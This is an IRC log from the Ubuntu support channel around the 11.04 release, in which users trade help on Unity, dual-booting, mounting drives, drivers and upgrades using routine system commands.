[07:20] <teknowill> thegoodcushion: well i mean as far as they go i'd go best experiances were unbunt 10.04 for desktops and debian no-gui for servers
[07:20] <ZykoticK9> Starminn, don't hold your breath.  Ubuntu isn't going to use Gnome...
[07:20] <doodle> taglass: I got this: mount: /dev/sda11 already mounted or /dos busy mount: according to mtab, /dev/sda11 is already mounted on /dos
[07:20] <Chaoss> i've instlled it but cant find it ANYWHERE what so ever
[07:20] <Vustom> FACTORY_IMAGE (HDD)
[07:20] <ejv> djazz: ahh the launcher issue you mentioned, not sure i understand from the picture, let me look again
[07:20] <djazz> look at terminal..
[07:20] <Vustom> the factory image is on the same HDD i think.
[07:20] <djazz> Why does Empathy open links in firefox when I have set chrome as default?
[07:20] <greg> Hi anyone like the new "Unity" thing?
[07:20] <Vustom> so i can't wipe it all, then i'll have no windows :/
[07:20] <taglass> doodle: then it's a;ready mounted..  your data should be accessible in /dos
[07:20] <Starminn> ZykoticK9: I know, but hopefully Gnome3 will be able to run in 11.10. OTherwise, they'll be pulling a proprietary move by restricint g what you can/can't use in whicih case I'll drop them like a bad habit.
[07:20] <teknowill> thegoodcushion: you might be able to use a different x server in ubuntu if you dont like unity
[07:20] <ejv> looks normal djazz
[07:21] <djazz> ejv, do you see terminal in launcher?
[07:21] <doodle> taglass: but I want it under /media
[07:21] <ZykoticK9> Starminn, i've personally moved to Debian because of Unity
[07:21] <thegoodcushion> teknowill: yeah you can login using GNOME.  My only concern is that ubuntu will move away from GNOME
[07:21] <ejv> djazz: on mine, yes, not in yours
[07:21] <Starminn> Vustom: You said you wanted to reformat everything, not just Ubuntu, but you want to keep Windows? Explain on one line what you want to do. Is it just dual boot of Ubuntu and Windows?
[07:21] <djazz> I cant drag and drop it from dash to launcher either
[07:21] <Chaoss> i give up with this peice of shit system., cant even put extra hard drives in
[07:22] <veronica> hi
[07:22] <bazhang> Chaoss, no cursing
[07:22] <doodle> taglass: also I see nothing in /dos
[07:22] <veronica> channel spanish?
[07:22] <Starminn> !spanish | veronica
[07:22] <ubottu> veronica: En la mayoría de canales de Ubuntu se habla sólo en inglés. Si busca ayuda en español o charlar entra en el canal #ubuntu-es. Escribe "/join #ubuntu-es" (sin comillas) y dale a enter.
[07:22] <taglass> doodle: ohok gotcha.  sudo umount /dos && sudo mkdir /media/dos && sudo mount -tvfat /dev/sda11 /media/dos
[07:22] <bazhang> veronica, #ubuntu-es
[07:22] <elad> hi
[07:22] <hesamak> iij
[07:22] <veronica> thx ^^
[07:22] <punto> hi.. I'm mounting a remote nfs export, but the files on the remote machine belong to uuid 501 and I want to modify them with uuid 1000. can I remap the uuid when I mount? (am I expected to have the same /etc/passwd on both machies?)
[07:22] <elad> im having a hard time installing 11.04 on my dell m1330
[07:22] <elad> can anyone help me???
[07:23] <ejv> rome wasn't built in a day... understanding linux doesn't happen over night either... *sigh*
[07:23] <Vustom> I can't wipe the hole HDD because the factory default of Windows Vista is on the same HDD, I need to be able to enter the System Recovery application when I start up my computer, it normally works with F11 and goes straight into it, but with Ubuntu side by side with Windows; that selection of what OS just shows up.
[07:23] <taglass> doodle: you might have to edit /etc/fstab as well.  just change /dos to /media/dos
[07:23] <zachgretzinger> elad what is wrong
[07:23] <djazz> why do I see chatroom chat posts twice in empathy?
[07:23] <avij> ipv6.torrent.ubuntu.com seems to complain that the "requested download is not authorized for use with this tracker" when downloading the various ubuntu-11.04-*.iso files. could someone please authorize the ubuntu isos to that ipv6 tracker?
[07:23] <elad> zach, im running windows 7 and im trying to dual boot
[07:23] <Cr3al> the new launcher is confusing as hell. is there a way to edit it at all?
[07:23] <zachgretzinger> djazz because empathy sucks
[07:23] <Vustom> I still have the option to press F11 on the start up screen, but doesn't work.
[07:23] <ejv> im taking a break, you guys wear me out lol, good luck newcomers.
[07:23] <djazz> yeah...
[07:24] <Vustom> like i said, just goes straight to the OS selection
[07:24] <elad> but every time, i get an error in the middle of the install
[07:24] <zachgretzinger> elad type in my whole name or I can't see that you mentioned me
[07:24] <Cr3al> such as moving the order of the applications
[07:24] <teknowill> thegoodcushion: well you could always add it later, i'm sure there would be a  ubuntu distro with a none unity if they do, i mean they have a kubunu now so I bet they would doa gubuntu
[07:24] <pipou> where does the ubuntu upgrade need 1.5 GB or so of disk space? I can't do that on / but can somewhere else
[07:24] <djazz> guess I must reboot to fix the launcher... :(
[07:24] <Starminn> Vustom: F11 is a Windows-only option I think. So, since it's only in Windows, have you tried booting into Windows and trying ti then while the Windows thing is going?
[07:24] <elad> zachgretzinger im trying to dual boot with windows 7 64 bit, but i keep on getting an error halfway though the install...
[07:25] <heroprimeremix> how do i extract as root?
[07:25] <lanoxx> heroprimeremix, with sudo?
[07:25] <halpbatman> hey guys I removed my linux partition and now I get "error: no such partition" how do I restore windows 7 bootloader?
[07:25] <Cr3al> it wont even let me edit the gnome panels anymore
[07:25] <Vustom> I've tried pressing F11, then selecting Windows Vista on the OS selection, but just goes to the Windows log-in screen like normal
[07:25] <helloEARTH> how can i access the startup applications in 11.04?
[07:25] <thegoodcushion> I wish there were a perfect Linux distro so I don't have to choose
[07:25] <lanoxx> heroprimeremix, are u using the gui or console?
[07:25] <ohsix> Cr3al: the thing at the top with unity is not a panel
[07:25] <zachgretzinger> elad what is the error
[07:26] <teknowill> thegoodcushion: I say as long as it still has what you want stay with it, till it doesn't i'm sure a lot of people will want they anther solution will come around if they do drop it
[07:26] <heroprimeremix> like how do i even start? (i know to use sudo, but how do i even begin to extract through terminal??)
[07:26] <Starminn> Vustom: No, I mean select Windows, then press F11
[07:26] <thegoodcushion> teknowill: Yeah there's a fear of the unknown for me too
[07:26] <teknowill> thegoodcushion: don't forget name almost missed your im
[07:26] <Vustom> o.
[07:26] <ohsix> Cr3al: it looks sort of like it,  but the panels are gone; if you want them then you probably also want the classic session, which you can pick from the login screen
[07:26] <Vustom> look; http://forums.whirlpool.net.au/forum-replies.cfm?r=18738354#r18738354
[07:26] <Vustom> D:
[07:26] <lanoxx> heroprimeremix, if you have a zip file then unzip if its tar.gz then use tar such as tar -xvzf xyz.tar.gz
[07:26] <taglass> halpbatman: boot up from your windows 7 dvd, enter the recovery console and type bootsect /nt60 and then sys /mbr
[07:26] <Cr3al> i just want to move the workspace switcher to a more practical place
[07:27] <elad> zachgretzinger, im not sure. but it asks me to report it... i chose the partition & everything seems to be running smoothly then it stops. do you think i should try the 64 bit version?
[07:27] <lanoxx> heroprimeremix, if it is a zip file then its sudo unzip xyz.zip
[07:27] <halpbatman> taglass: is there a way to fix this without the dvd?
[07:27] <taglass> halpbatman: that might be one command instead of two, not sure.  I just have it wrote on a postit note for helping other people.  I don't use windows :)
[07:27] <lanoxx> heroprimeremix, try man unzip or man tar for more information
[07:27] <Vustom> "But as stated, the F11 is gone, because when you installed Ubuntu, GRUB overwrote the MBR section where the F11 is launched. You learned a hard lesson :(" -.-'
[07:27] <heroprimeremix> it is a tar.gz
[07:27] <zachgretzinger> elad try the 64 bit version
[07:27] <teknowill> thegoodcushion: is party why i went with lts so I have a chance to adapt and or somehting that will come can come out have a few years with this one till it's a "problem"
[07:27] <taglass> halpbatman: no clue.  If there is, I bet google knows.
[07:28] <silvery> When use CD, i don't have 'Upgrade Ubuntu 10.10 to 11.04' option in installation options, any suggestions?
[07:28] <elad> zachgretzinger, will do... i dont know how its relevant though. my xp was 64 bit & i ran 10.10 just fine
[07:28] <aetaric> erm ok so
[07:28] <lanoxx> heroprimeremix, then its sudo tar -xvzf filename.tar.gz
[07:28] <thegoodcushion> teknowill: I can't even get 10.10 from the ubuntu website!
[07:28] <thegoodcushion> teknowill: it gives me 11.04 or 10.04
[07:28] <lanoxx> heroprimeremix, it will unzip in the current directory
[07:28] <Starminn> Vustom: Alright, so if it's included in the Windows bootloader then just reinstall Windows, as that overwrites all Linux.
[07:29] <heroprimeremix> I was wondering because i upgraded to 11.04 and my cursor won't  change....
[07:29] <Starminn> silvery: Are you using a 11.04 disc?
[07:29] <aetaric> just upgraded to 11.04, i have a NVidia Geforce 8600M and I can't use unity any ideas?
[07:29] <Vustom> O.O
[07:29] <Vustom> I can't access the System Recovery though..
[07:29] <lanoxx> heroprimeremix, you can add -t to see what will be extracted
[07:29] <silvery> Starminn : yes
[07:29] <elad> thegoodsushion, if you really want 10.10, search filestube. i downloaded a copy today
[07:29] <elad> zachgretzinger, thanks for you help
[07:29] <silvery> it gives me 3 other options and not this one...
[07:30] <teknowill> thegoodcushion: i had bad luck with 10.10... and they only seable diff from 10.04 is it's libra office by defult and the rythmbox thing is "cooler"
[07:30] <Robert__> hey how do i get tthat little window that runs programs
[07:30] <thegoodcushion> teknowill: I don't care about office or rhythmbox
[07:30] <doodle> taglass: I can't unmount now with right click, it says, "umount: only root can unmount /dev/sda11 from /media/dos"
[07:30] <thegoodcushion> I'm coding
[07:30] <zachgretzinger> elad np
[07:30] <froggi> !
[07:30] <thegoodcushion> teknowill: I mean I'm using gcc, clang, nano, make.  So arguably I don't need the latest version of anything
[07:30] <zachgretzinger> elad you ran 10.10 fine?
[07:30] <teknowill> thegoodcushion: then go with 10.04
[07:31] <teknowill> thegoodcushion: you can upgade kernal after
[07:31] <zachgretzinger> elad was it 64 bit 10.10? Also, are you trying to upgrade to Natty?
[07:31] <taglass> doodle: that's correct.  you could always unmount it as root and then use nautilus to mount the drive.  That soundslike what you want.
[07:31] <Starminn> Vustom: Contact HP, I'd say they have a recovery thing. That, or like Dell they may have a partition for recovery.
[07:31] <Vustom> Chat timed out, missed what you said.
[07:32] <doodle> taglass: actually, no. I want it like other direves. easy to mount and unmount
[07:32] <heroprimeremix> So...in 11.04, how would i change my cursor theme?
[07:32] <Vustom> Starminn: I typed sudo fdisk -l into terminal and two parts of my HP HDD came up, /dev/sda2           59465       60801    10739452+   7  HPFS/NTFS and /dev/sda1   *           1       34786   279415295+   7  HPFS/NTFS
[07:32] <doodle> taglass: and I tried to formate it in NTFS.
[07:32] <ruan> need urgent help. i just did a 'partial upgrade' and now i cant log into any GNOME environment.
[07:32] <ruan> it fails
[07:32] <Vustom> I have 2 different options to boot into Vista at the OS selection, never tried sda2 though, and the factory image is like 10GB, is that it?
[07:32] <silvery> Can be the problem that I have 64x 10.10 and 32x 11.04?
[07:32] <Vustom> should i try booting into sda2?
[07:33] <teknowill> thegoodcushion: if you really want 10.10 i can get you a torrent link...
[07:33] <Vustom> Theres also 3 more..
[07:33] <thegoodcushion> teknowill: No, I'm downloading 10.04
[07:33] <ruan> ok im going to install kde now
[07:33] <Vustom> -.-
[07:33] <amit> when installed ubuntu 11.04 it is saying that my hardware doesnot have support of unity?why it is saying and what are the basic requirements for it?
[07:33] <thegoodcushion> teknowill: As I said I don't need the bleeding edge version of anything, so it's about familiarity and avoiding Unity
[07:33] <taglass> doodle: I'm not sure.  Sorry I don't have a better answer.
[07:33] <ruan> amit: you can still boot into ubuntu classic
[07:33] <heroprimeremix> ruan: Reinstall and try a erase drive option
[07:33] <Vustom> i'll try boot into sda2, if no luck i'll come back, thanks :D
[07:34] <thegoodcushion> teknowill: Anyway thanks for trying to help me.  You're a good sport.
[07:34] <extraclassic> amit: you need 3d accelleration for graphics
[07:34] <amit> ruan: but i want to use unity
[07:34] <Starminn> Vustom: Again, I'd say contact HP. They'd know their HDD setup better than us.
[07:34] <ruan> heroprimeremix: impossible for me to do that, i have no cdrom and i cant boot with a usb
[07:34] <doodle> taglass: okay, thanks!
[07:34] <amit> extraclassic: i have nvidia gforce 9400
[07:34] <ruan> brb screen
[07:34] <teknowill> thegoodcushion: ok, no problem good luck
[07:34] <Vustom> I'll just get some asian guy that can't even speak english. D:
[07:34] <extraclassic> amit: it might work if you install proprietary drivers for your video card, because nouveau won't work
[07:34] <Cr3al> how do you add applications to the launcher menu?
[07:34] <Vustom> brb
[07:34] <amit> extraclassic:is classic using gnome
[07:35] <ytaews> I can't get Natty to boot at all, can't even get the live CD to initiate the installer. I go through BIOS POST, get a message about ISOLINUX and then black screen. Is there anything I can do to try and diagnose?
[07:35] <extraclassic> amit: 'apt-get install nvidia nvidia-utils, then reboot'
[07:35] <amit> ok
[07:35] <heroprimeremix> ruan: Find a computer, download 11.04, Burn to a cd or DVD. Simple
[07:35] <lgp171188> Hi, I have installed Natty and want to use Classic Gnome as the default instead of having to select it every time before login. How to do it?
[07:35] <atharva> I am unable to install virtualbox 4.0.6 .pl help
[07:35] <atharva> atharva@atharva-Vostro-1400:~$ sudo '/home/atharva/Extra'\''s/VirtualBox-4.0.0-69151-Linux_x86.run'
[07:35] <atharva> [sudo] password for atharva:
[07:35] <atharva> Verifying archive integrity... All good.
[07:35] <atharva> Uncompressing VirtualBox for Linux installation..........
[07:35] <atharva> eval: 1: Syntax error: Unterminated quoted string
[07:35] <FloodBot3> atharva: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[07:35] <Scarra3> Is the 11.04 search bar suppose to take up the whole screen?
[07:35] <extraclassic> amit: classic won't be the same as the old gnome
[07:36] <amit> extraclassic:it is saying unable to locate package nvidia
[07:36] <amit> <extraclassic>classic is based on which ?
[07:36] <extraclassic> amit: I probably don't have the name right then...you need nvidia's proprietary drivers though
[07:36] <heroprimeremix> How would i get my cursor to work in 11.04?
[07:36] <heroprimeremix> It won't change
[07:36] <ZykoticK9> amit, i've never heard of either nvidia or nvidia-utils (but i'm not using 11.04)
[07:37] <Braiam> extraclassic: lgp171188 is the guy
[07:37] <extraclassic> Braiam: who's that
[07:37] <MJBrune> I have a Intel Corporation 82801G (ICH7 Family) sound chipset and I want to know if my mic will work in linux. will it?
[07:37] <Braiam> lgp171188: classic won't be the same as the old gnome, thanks to extraclassic
[07:37] <taglass> ytaews: did the md5sum of your download match the posted checksums?  If so try burning your cd at a slower speed
[07:37] <amit> i think ubuntu 10.10 is better at this time
[07:38] <yi`zhi> OOOH i'm about to restart!
[07:38] <lgp171188> Braiam: Ok, how do I change the default?
[07:38] <yi`zhi> this is so exciting
[07:38] <MJBrune> anyone?!
[07:38] <Braiam> lgp171188: ask to extraclassic
[07:38] <Ziber> How can I show duplicate songs in Rythm box?
[07:38] <taglass> MJBrune: I see no reason why it wouldnt
[07:39] <doodle> taglass: most probably I made this error in installation, I want to re-install, what should I select there (after deleting and reassigning) to mount in /media, I see only 2 options there /dos and /windows
[07:39] <Logan_> !please | MJBrune
[07:39] <ubottu> MJBrune: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[07:39] <Braiam> lgp171188: im on 10.10
[07:39] <extraclassic> why, I don't know what I'm talking about half the time
[07:39] <MJBrune> Logan_: the channel is already unreadable.
[07:39] <lgp171188> extraclassic: How do I change the default desktop environment in natty?
[07:39] <MJBrune> taglass: because the drivers are shit?
[07:39] <MJBrune> ugh morons
[07:39] <aetaric> once again, 11.04 unity won't start on supported card
[07:40] <taglass> doodle: I don't think you need to assign a mountpoint at all
[07:40] <extraclassic> lgp171188: don't know...I'm not using it
[07:40] <doodle> taglass: then it says, your drive will be unused!
[07:40] <ytaews> taglass: Yeah, the MD5 matched. I've spent all day burning new discs, making USBs and then I tried going back to lucid, then upgrading to maverick then to natty. Still get a black screen every time I boot.
[07:40] <doodle> taglass: shoul I ignore that message and go fo installation?
[07:40] <taglass> doodle: that's fine.  you should still be able to click on it in nautilus and easily mount/unmount it
[07:40] <Logan_> lgp171188: run the command gdmsetup in a terminal
[07:41] <Spaz_Dynamic> having an issue running a java jar archive. I get http://pastebin.com/6BkDrMPN when I "java -jar /path/of/file.jar"
[07:41] <Logan_> lgp171188: then, in that window, hit the Unlock button, put in your password, and then you can change the default environemnt
[07:41] <taglass> ytaews: that's not good and it sounds like you've alraedy tried any advice I might have to offer.
[07:41] <doodle> taglass: okay, will do, thanks!
[07:41] <Spaz_Dynamic> and as you can see from the last couple lines, it's minecraft >.> So it should be working, its not like I made it and it isn't working. xD
[07:42] <lgp171188> Logan_: I didn't realize the option would in gdmsetup. Let me try it out. Thanks :)
[07:42] <Logan_> lgp171188: no problem :)
[07:42] <linusasus6> have a good nite I hope you got lot of cofee because everyone will need help on natty because Unity
[07:42] <damno> I cant set eth1 as default for ntop
[07:42] <ytaews> taglass: Alright, thanks for the help, I guess it's back to Maverick for now.
[07:43] <taglass> Spaz_Dynamic: are you using the sun jre?
[07:43] <lgp171188> linusasus6: It is not as if unity is so buggy but it is due to people so used to traditional Gnome :)
[07:43] <damno> I cant set eth1 as default for ntop. any help?
[07:43] <Spaz_Dynamic> think so. either way, I was about to run it out of the box on 10.10, though I did do a fresh install for 11.04
[07:44] <Spaz_Dynamic> fresh including /home
[07:44] <Flynsarmy> Are you able to upload to ubuntu one from the terminal?
[07:44] <taglass> Spaz_Dynamic: java -fullversion
[07:44] <Logan_> !ubuntuone | Flynsarmy
[07:44] <ubottu> Flynsarmy: Ubuntu One is a service where you can back up, store, sync and share your data with other Ubuntu One users - For more see https://one.ubuntu.com/ support and help available at #ubuntuone
[07:45] <Spaz_Dynamic> taglass: 1.6.2_22-b22
[07:45] <taglass> Spaz_Dynamic: although with a fresh install you should be runnin openjdk I believe
[07:45] <aetaric> hello everyone i'm on 11.04 and unity won't start on supported card
[07:46] <amit> aetaric: 11.04 is fake :)
[07:46] <Spaz_Dynamic> ..oh, wait, just noticed I am in #ubuntu... I am technically running kubuntu... >.>
[07:46] <Spaz_Dynamic> <.<
[07:46] <amit> ?
[07:46] <taglass> Spaz_Dynamic: yeah hmm I dunno man.  It should work.  You could always try sun java
[07:47] <taglass> Spaz_Dynamic: probably better for minecraft anyways.
[07:47] <ror> my PC completely froze about 12 hours into do-dist-upgrade D:
[07:47] <Spaz_Dynamic> taglass: probably. is Sun java in the repos, or do I need to get it from them direct?
[07:47] <taglass> Spaz_Dynamic: It should be in the repos if you enable the partners repo
[07:48] <Spaz_Dynamic> taglass: alright, thanks.
[07:48] <Logan_> !java | Spaz_Dynamic
[07:48] <ubottu> Spaz_Dynamic: To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[07:48] <Scarra3> Is the ubuntu 11.04 search box suppose to take up the whole screen
[07:48] <deneb> ok..i installed gnome 3 on ubuntu 11.04 . everything's ok except the auto login......could anyone tell me how to fix the auto login? thanks
[07:48] <Logan_> Ooh, that factoid needs to be updated.
[07:48] <Logan_> deneb: The Gnome 3 PPA is not supported here.
[07:49] <Logan_> (if I'm not mistaken)
[07:49] <mello> is it recommended to throw away unity & install gnome-shell? Or does it not work optimal on natty?
[07:49] <CodeWar> thank God I m not th eonly one thinking about throwing away unity
[07:49] <mello> rofl
[07:50] <Scarra3> Is the ubuntu 11.04 search box suppose to take up the whole screen
[07:50] <Logan_> mello: No need to install - just choose the Ubuntu Classic environment at login.
[07:50] <Logan_> !repeat | Scarra3
[07:50] <ubottu> Scarra3: Don't feel ignored and repeat your question quickly; if nobody knows your answer, nobody will answer you. While you wait, try searching https://help.ubuntu.com or http://ubuntuforums.org or http://askubuntu.com/
[07:50] <yi`zhi> wooo
[07:50] <aaaaaaaaaaaaaaaa> hello, all. Now, I'm using debian 6.0. But I want to try ubuntu11.04. How can I install it from my hard disk?
[07:50] <mello> Logan_ that would just give me gnome 2, with gnome-shell I mean gnome 3
[07:50] <taglass> Scarra3: probably depends upon the size of yoru monitor.  Ity doesn't fill a 24"
[07:50] <Logan_> aaaaaaaaaaaaaaaa: Download the ISO and burn it to a CD
[07:50] <Logan_> !gnome3 | mello
[07:50] <ubottu> mello: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[07:50] <Logan_> *DVD
[07:50] <Scarra3> taglass: its a laptop
[07:51] <talntid> aaaaaaaaaaaaaaaa, double click "install ubuntu 11.04" under "distros" menu.
[07:51] <mello> ubottu thanks
[07:51] <ubottu> You're welcome! But keep in mind I'm just a bot ;-)
[07:51] <yi`zhi> how do i make it so that i'm asked for a password every time i sudo?
[07:51] <yi`zhi> that seems to have been gone when i restarted into 11
[07:51] <thegoodcushion> So where do I get help for 10.04?  Is that here also?
[07:51] <Logan_> !lucid | thegoodcushion
[07:51] <ubottu> thegoodcushion: Ubuntu 10.04 LTS (Lucid Lynx) was the twelfth release of Ubuntu. Download http://releases.ubuntu.com/10.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1004
[07:51] <taglass> mello: I wouldn't honestly at this point gnome-shell and unity both feel incomplete and neither seems to have the upper hand in functionality.
[07:51] <Scarra3> taglass: The screen size is 1366 x 768
[07:51] <aaaaaaaaaaaaaaaa> Logan_: No, I don't have a cd-rw
[07:51] <thegoodcushion> Logan_: Yes but is this the right channel for help with it?
[07:52] <silvery> I have 10.10 and 11.04 CD both 32x. I want to upgrade my 10.10 with this CD and don't have 'Upgrade Ubuntu 10.10 to 11.04' option when run CD. Any suggestions?
[07:52] <Logan_> thegoodcushion: Yes - it is supported until... (let me check)
[07:52] <deneb> Logan_: what do you mean? not the right channel for gnome 3 - ubuntu?
[07:52] <thegoodcushion> Logan_: 3 years for the desktop
[07:52] <mello> taglass: I agree to some degree.. except that I can still do my work in gnome3, whilst unity is making that impossible.
[07:52] <Logan_> thegoodcushion: yeah :P
[07:52] <aaaaaaaaaaaaaaaa> talntid: How? where to click?
[07:52] <thegoodcushion> Logan_: Well I'm about to install it baby
[07:52] <talntid> aaaaaaaaaaaaaaaa, on the left side. :)
[07:52] <ZykoticK9> silvery, you can only use the Alternative CD for upgrade, NOT LiveCDs
[07:52] <talntid> gnight all.
[07:52] <mello> taglass: if i want to be productive i'd better just get another distro..
[07:53] <Logan_> thegoodcushion: April 2013 for the LTS
[07:53] <thegoodcushion> Logan_: yep
[07:53] <Logan_> deneb: it's a third-party, unsupported PPA
[07:53] <narf_> Are you guys enjoying this new look and feel, because i kind of think its the most buggy piece of software I have seen in some time.
[07:53] <ZykoticK9> mello, debian is an option...
[07:53] <Logan_> !ot | narf_
[07:53] <ubottu> narf_: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:53] <ror> what's happened to the system > preferences menu? I can't find it now :(
[07:53] <taglass> mello: you could always just use gnome classic for this dev cycle and hope gnome3/unity are better later this year.
[07:53] <lgp171188> Hi, there was an issue with Nvidia proprietary drivers and plymouth in older releases. Doesn't seem to be fully fixed in natty either. On selecting Ubuntu in grub, there appears a purple screen for some time, then a low resolution plymouth screen appears for a second and then a black screen before gdm appears. Any way to fix/workaround this annoying bug?
[07:53] <aaaaaaaaaaaaaaaa> talntid: But I'm using debian now. I have only a alternate iso for ubuntu11.04. I think I have to boot from this iso to install it.
[07:54] <thegoodcushion> narf_: Are you talking about Unity?
[07:54] <silvery> ZykoticK9 : Sorry but where i can get this Alternative CD and is it official too?
[07:54] <deneb> Logan_: yes but i have a problem and i want to solve it and i need help....where i can get this help?
[07:54] <Phil_Shapiro> Can I ask a question that you all must have heard a million times already?
[07:54] <Logan_> !alternate | silvery
[07:54] <ubottu> silvery: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[07:54] <narf_> thegoodcushion, i'm natty and the default launcher it uses...
[07:54] <Logan_> deneb: probably irc.gnome.org #gnome3
[07:54] <silvery> thank you, everyone!
[07:54] <thegoodcushion> Imagine if all the Linux developers spent all their time working on the one distro?  All that effort put into one distro, Linux would really be something
[07:54] <Logan_> thegoodcushion: it's good to have variety
[07:55] <taglass> thegoodcushion: It would probably suck.. competition is good :)
[07:55] <Spaz_Dynamic> hrm, are double quotes ( " ) valid characters for in directory names?
[07:55] <aaaaaaaaaaaaaaaa> Could somebody give me some links or some suggestions about install ubuntu alternate iso from hard disk under debian?
[07:55] <mello> ZykoticK9: i wouldn't choose debian as a desktop env
[07:55] <lgp171188> mello: Gnome shell and unity aren't as mature and hence aren't as customizable as Gnome 2.x. So for now I am sticking to gnome 2.x waiting for gnome-shell/unity to mature a lot more and become fully customizable as gnome 2.x
[07:55] <ZykoticK9> thegoodcushion, you don't understand linux.  Choice is a good thing.
[07:55] <FFIF> #ubuntu-offtopic
[07:56] <ror> the new interface is horrible D: it does that "mac" thing of having all the application menus in a separate bar, but most annoyingly I can't seem to move the launcher panel to the top? What's with not being able to create as many panels as one wishes?
[07:56] <lgp171188> mello: you have a choice to use gnome 2.x without having to install anything extra
[07:56] <ZykoticK9> mello, good thing there are lots of options out there ;)  see above ^^
[07:56] <mello> lgp171188 what should i choose if im sick of gnome2 atm (its getting boring) & i don't want kde? (or give me one good reason for kde)
[07:56] <Logan_> mello: XFCE?
[07:56] <thegoodcushion> The one thing I didn't like about debian was hte icons
[07:56] <elad> zachgretzinger, the 64 bit didnt work... im getting the following error...The installer encountered an error copying files to the hard disk:  [Errno 5] Input/output error  This is often due to a faulty CD/DVD disk or drive, or a faulty hard disk. It may help to clean the CD/DVD, to burn the CD/DVD at a lower speed, to clean the CD/DVD drive lens (cleaning kits are often available from electronics suppliers), to check whether the hard disk
[07:56] <taglass> mello: ratpoison
[07:56] <mello> Logan_ this would be achieved just with apt-get install xfce4? But im not sure if this installs the last version 4.8
[07:56] <red2kic> thegoodcushion: Funny. You don't like the icons. CHANGE THEM.
[07:56] <thebigham> How do you install ubuntu 11.04 to unallocated space?
[07:56] <lgp171188> mello: then go for gnome-shell or try out different environments like xfce/lxde
[07:57] <joako> Is it possible to install Ubuntu inside VMWare ESXi? I am getting an error it cant mount the CDROM
[07:57] <ZykoticK9> red2kic, that's way too complicated ;)
[07:57] <lgp171188> mello: or KDE
[07:57] <Logan_> mello: sudo apt-get install xubuntu-desktop
[07:57] <red2kic> ZykoticK9: For Gnome 3?
[07:57] <ZykoticK9> red2kic, i'm just joking
[07:57] <elad> zachgretzinger, by the way, im installing from a usb, but when i tried to install from a cd, i get the same error
[07:57] <solofight> people i wanted a ftp server so installed ftpd using apt-get, now how do i check whether its running or not ?
[07:57] <Logan_> !vmware | joako
[07:57] <ubottu> joako: VMWare is not available in the Ubuntu repositories. Consider using !QEmu or !VirtualBox as alternatives. Instructions for installing VMWare manually are at https://help.ubuntu.com/community/VMware
[07:57] <neo_> who was installed 11.04?
[07:57] <Braiam> elad: try reburning the CD
[07:58] <Logan_> joako: /join #vmware for support
[07:58] <solofight> /etc/init.d/ does not contain an entry for ftp
[07:58] <solofight> people i wanted a ftp server so installed ftpd using apt-get, now how do i check whether its running or not ?
[07:58] <Phil_Shapiro> Has anyone here managed to get Ubuntu to network with windows 7?
[07:58] <red2kic> ZykoticK9: Ooo -- But it is complicated! (Especially if you make your own!)
[07:58] <solofight> help please
[07:58] <zachgretzinger> That's really strange
[07:58] <zachgretzinger> pm me
[07:58] <mello> lgp171188 let me google lxde
[07:58] <elad> braiam, i tried, and i tried the 64 bit version too
[07:58] <zachgretzinger> elad pm me
[07:58] <solofight> Phil_Shapiro, using samba ?
[07:58] <shrys> Will upgrading to Natty from Maverick affect any of my installed applications ?
[07:58] <Logan_> mello: Lubuntu is a distro with LXDE based on Ubuntu, but it's not officially supported by Canonical
[07:58] <Braiam> elad: check the memory
[07:58] <red2kic> mello: awesome, dwn, e17
[07:58] <Logan_> shrys: it shouldn't, unless the devs haven't provided newer versions for natty
[07:59] <Phil_Shapiro> Solo: I installed it, but I'm stuck in the PW authentication loop
[07:59] <elad> braiam, what do you mean?
[07:59] <lgp171188> mello: http://wiki.lxde.org/en/Ubuntu hth :-)
[07:59] <thebigham> How can I install ubuntu 11.04 to unallocated space dualboot with win7?
[07:59] <vega> is it really so that natty ships with a stone-age lirc (0.8.7) that is NOT compatible with nattys lirc kernel drivers?
[07:59] <Braiam> elad: in the ubuntu cd boot is a option to check the memory
[07:59] <mello> lgp171188: thanks. i might install xfce for now and tweak it.. i just want something that is not counterproductive
[08:00] <lgp171188> mello: hmmm, go ahead try things and use the one that suits you :)
[08:00] <elad> braiam, oh at boot?
[08:00] <sltPoison> Hello
[08:00] <Braiam> elad: sorry, yes this is what I mean
[08:01] <sltPoison> When trying to insall ubuntu 11.04 it hangs right as I press FORWARD at the first prompt screen
[08:01] <elad> braiam, and what should this tell me, exactly? im sorry, im very new to this.
[08:01] <taglass> solofight: netstat -ltp should tell you if anything is listening on the ftp port.
[08:01] <lo0m> hi, has anyone succesfully migrated from virtualbox to HDD? using dd? ubuntu 10.10 btw
[08:02] <paul> hi
[08:02] <Braiam> elad: depending of the size of your memory it take a while analizing, if it found errors then you should brougt another
[08:02] <Grimdin> 11.04 problem, i dont use unity, so i use classic but my desktop visual effect are all missing, howto re-enable them?
[08:03] <econnell> lo0m: it's doable, but it's incredibly difficult
[08:03] <lo0m> Grimdin: i believe unity can be switched off in Compiz settings..
[08:03] <paul> can I sudo-apt get dropbearkey some how?
[08:03] <elad> braiam, ill check it now & let you know in a few minutes. thanks
[08:03] <Braiam> elad: if everything is OK then is the hard drive
[08:03] <Magnusson> can someone help me figure out what i need to do to fix make[2]: *** No rule to make target `/usr/lib/libX11.so', needed by `lib/liboxygentransparentstyle.so.4.6.0'.  Stop.?
[08:03] <Grimdin> lo0m, i have switched unity off, but there is not visual effects in classic mode...
[08:03] <Logan_> Grimdin: sudo apt-get install compizconfig-settings-manager
[08:04] <Logan_> Grimdin: That will let you change all the visual effects in Ubuntu Classic
